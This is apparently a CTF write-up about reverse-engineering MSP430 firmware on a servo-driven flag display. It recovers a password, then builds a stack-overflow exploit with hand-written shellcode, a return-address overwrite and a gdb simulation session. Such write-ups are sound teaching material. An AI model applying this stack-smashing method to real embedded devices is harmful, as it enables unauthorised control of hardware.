The Challenge
Since the competition was on-site in Geneva (well, near Geneva - at the Palexpo centre), this allowed for the opportunity to have a real-life device to mess around with. Here is what was sitting at the NOC/conference organizer table:MSP430 Devboard |
The devboard is obviously a Texas Instruments MSP430 launchpad. Attached to it is a Bus Pirate used as a serial interface, and a round device of no obvious use... What could it be..?
Nicolas, the author of this challenge, explained that it is a simple display controlled by a servo. If you rotate the motor, the flag will be revealed underneath the red cover! To rotate the motor, you need to input a password via UART/Serial. Alright then, let's get cracking - this is going to be fun.
The first flag
We were also given the firmware that is uploaded onto the launchpad. As stated earlier, this is an MSP430 device. While I was semi-familiar with the architecture, I never actually had to read assembly for it before. Fortunately enough, the firmware was very small and simple. There was only a handful of functions, and they all had non-stripped symbols. Among them, a few were of interest:
- main - seems to set up peripherals by writing into some magic memory-mapped registers
- __isr_7 - the Interrupt Service Routing that gets fired when the device receives a character on the serial connection
- checkpwd - seems to check the password (well, obviously)
- moveDisplay - looking at cross-references, when called with a zero, moves the display mask into the default position. When called with a 1, reveals our flag.
UART ISR, in pseudocode |
Nothing too terribly interesting to see here - we just know that the password is newline-ended. Let's then take a look at the checkpwd function...
The function, after first memcpy()ing the password into the stack into 0xFFF4(SP) - 0xFFFn(SP) proceeds to do some mangling on the first 5 characters:
Password mangling function |
I can identify the following things happening:
- The 4th byte of the password is first incremented by 0x9C, then by 0xFF
- The 1st byte of the password is XORed with 0x33
- The 2nd byte of the password is XORed with 0x6E
- The 3rd byte of the password is subtracted from the 5th byte of the password
- The 5th byte of the password (after the 3rd is subtracted from it) is incremented by two (incd - increment double, a.k.a. +=2)
- The 3rd byte of the password is XORed with 0x54
- Some stack values get cleared.
Hm. Let's see what happens after that:
Password sum function |
0xFFF0(SP) is used as a counter - loc_C17A is supposed to be ran 5 times. After a few more minutes of staring at that code, we can easily see that we are simply summing the first five bytes of the password into an accumulator at 0xFFF2(SP), which is then returned into the UART ISR. If you recall, checkpwd returns zero on success - so the first five bytes of our password after mangling should sum to zero, therefore they should all be zero.
Part of the mangling consists of XORing the bytes of the password with some magic values. In order to make the resulting bytes zero, we can just set the bytes of that password to their corresponsing magic values. This is what we get:
- 1st byte: 0x33 ('3')
- 2nd byte: 0x6E ('n')
- 3rd byte: 0x54 ('T')
- 4th byte: ?
- 5th byte: ?
Looking back at our analysis, we now know that (0x54- BYTE) + 2 should be equal to zero - so BYTE should be equal to 0x52 ('R').
And thus, we have recovered the correct password - 3nTeR! After testing it on the real device, we got the display to move 90 degrees counter-clockwise and reveal our flag:
The second flag
After solving this, we got told by Nicolas that there is still one flag to be found in this challenge - and to get it, we should make the display move around in the other direction. How can we make that happen..? Of course, the memcpy() call in checkpwd! Instead of copying only the 5 required bytes of data into the stack, it copies as many bytes as it received over the wire.
So, we have a classic stack-smashing scenario - we need to overwrite the return pointer of checkpwd() to point into our UART receive buffer (0x202), which should be filled with “shellcode” that would make the display turn the other way around. Let's first write that shellcode - how to make that display move clockwise..?
Thankfully, the moveDisplay function can be called with a different parameter - 2 - to make the servo rotate the other way around - precisely what we need!
moveDisplay and its' three possible parameters |
Okay, so to make the display reveal the bonus flag we'll need to craft the following “shellcode”:
2F43 mov #2, R15
B012A4C1 call moveDisplay
FF3F loop: jmp loop
Alright, this 8-byte program will be perfect for our needs. Now, to make it run... For this part I grabbed a tool called mspdebug, which includes a built-in simulator and exposes a gdb stub to attach to. I could then run the program and simulate some inputted characters by setting a breakpoint at the end of the ISR and on the instruction where it receives the byte from the UART, and run the ISR manually by setting $PC to its' start address and making the processor run. Then, when it hit the character-reading breakpoint, I skipped this instruction and set the character manually to my liking, continuing once more and then finally hitting the breakpoint before the reti instruction of the ISR. Crude, but it allowed me to test my exploit pretty well.
Here is a sample GDB command scirpt for getting to memcpy() after inputting an “abc” password:
# Connect to the debugger
target remote localhost:2000
# Break at the memcpy() call
b *0xc118
# Break at the entrypoint
b main
# Break at the mov 0x66, R14 instruction in the ISR
b *0xc1ee
# Break at the reti instruction in the ISR
b *0xc25a
# Continue, we'll hit the main() breakpoint
c
## Enter character 'a'
# Run the ISR
set $pc=__isr_7
c
# We are now at the mov 0x66... instruction
# Skip it and set our needed char
si
set $r14='a'
# Continue to the end of the ISR
c
# Enter character 'b'
set $pc=__isr_7
c
si
set $r14='b'
c
# Enter character 'c'
set $pc=__isr_7
c
si
set $r14='c'
c
# Enter newline
set $pc=__isr_7
c
si
set $r14=0x0a
c
# We are now before the memcpy() call
Let's try that:
Breakpoint 2, 0x0000c118 in checkpwd ()
(gdb) x/2i $pc
=> 0xc118 <checkpwd+56>: call #0xc25c ; memcpy
0xc11c <checkpwd+60>: mov.b -9(r4), r15 ;0xfff7(r4)
So here we are, right before the memcpy. Let's explore the stack a little:
(gdb) bt
#0 0x0000c118 in checkpwd ()
#1 0x0000c212 in USCI0RX_ISR ()
#2 0x0000c212 in USCI0RX_ISR ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x0000 0x0000 0x0000 0x0202 0x0005 0x0400
0x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff
Our stack pointer is currently set to 0x03E2, and our return pointer (to 0xC212) is at 0x3F2. Our password should be copied into 0x03E6. Let's run the memcpy() call.
(gdb) ni
Breakpoint 2, 0x0000c118 in checkpwd ()
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x6261 0x0063 0x0065 0x0202 0x0005 0x0400
0x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff
Excellent - the password got copied as it should. Now, we can provide 12 bytes of password without overwriting the return pointer, and after that two bytes will smash the address to whatever we want. So, this is what our exploit password will look like:
- 8 bytes of payload (the program we wrote earlier)
- 4 bytes of whatever to fill up the space
- 2 bytes containing 0x0202 - which is the address of our payload before memcpy()ing. We could also put 0x03E6 here, as it's the address of the payload on the stack.
- A newline to trigger checkpwd
(gdb) x/2i $pc
=> 0xc118 <checkpwd+56>: call #0xc25c
0xc11c <checkpwd+60>: mov.b -9(r4), r15 ;0xfff7(r4)
(gdb) bt
#0 0x0000c118 in checkpwd ()
#1 0x0000c212 in USCI0RX_ISR ()
#2 0x0000c212 in USCI0RX_ISR ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x0000 0x0000 0x0000 0x0202 0x000e 0x0400
0x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff
This is before the stack smash happening. The return pointer is still set to 0xC212. Let's run the memcpy().
(gdb) ni
Breakpoint 2, 0x0000c118 in checkpwd ()
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x432f 0x12b0 0xc1a4 0x3fff 0xadde 0xdec0
0x3f2: 0x0202 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff
Pwned! We overwrote the return pointer. Let's break at our shellcode and continue the debugging sesison.
(gdb) b *0x202
Breakpoint 6 at 0x202
(gdb) c
Continuing.
Breakpoint 6, 0x00000202 in ?? ()
(gdb) x/3i $pc
=> 0x202: mov #2, r15 ;r3 As==10
0x204: call #0xc1a4
0x208: jmp $+0 ;abs 0x208
(gdb)
Any reason you chose not to use the serial port built into the launchpad?
ReplyDelete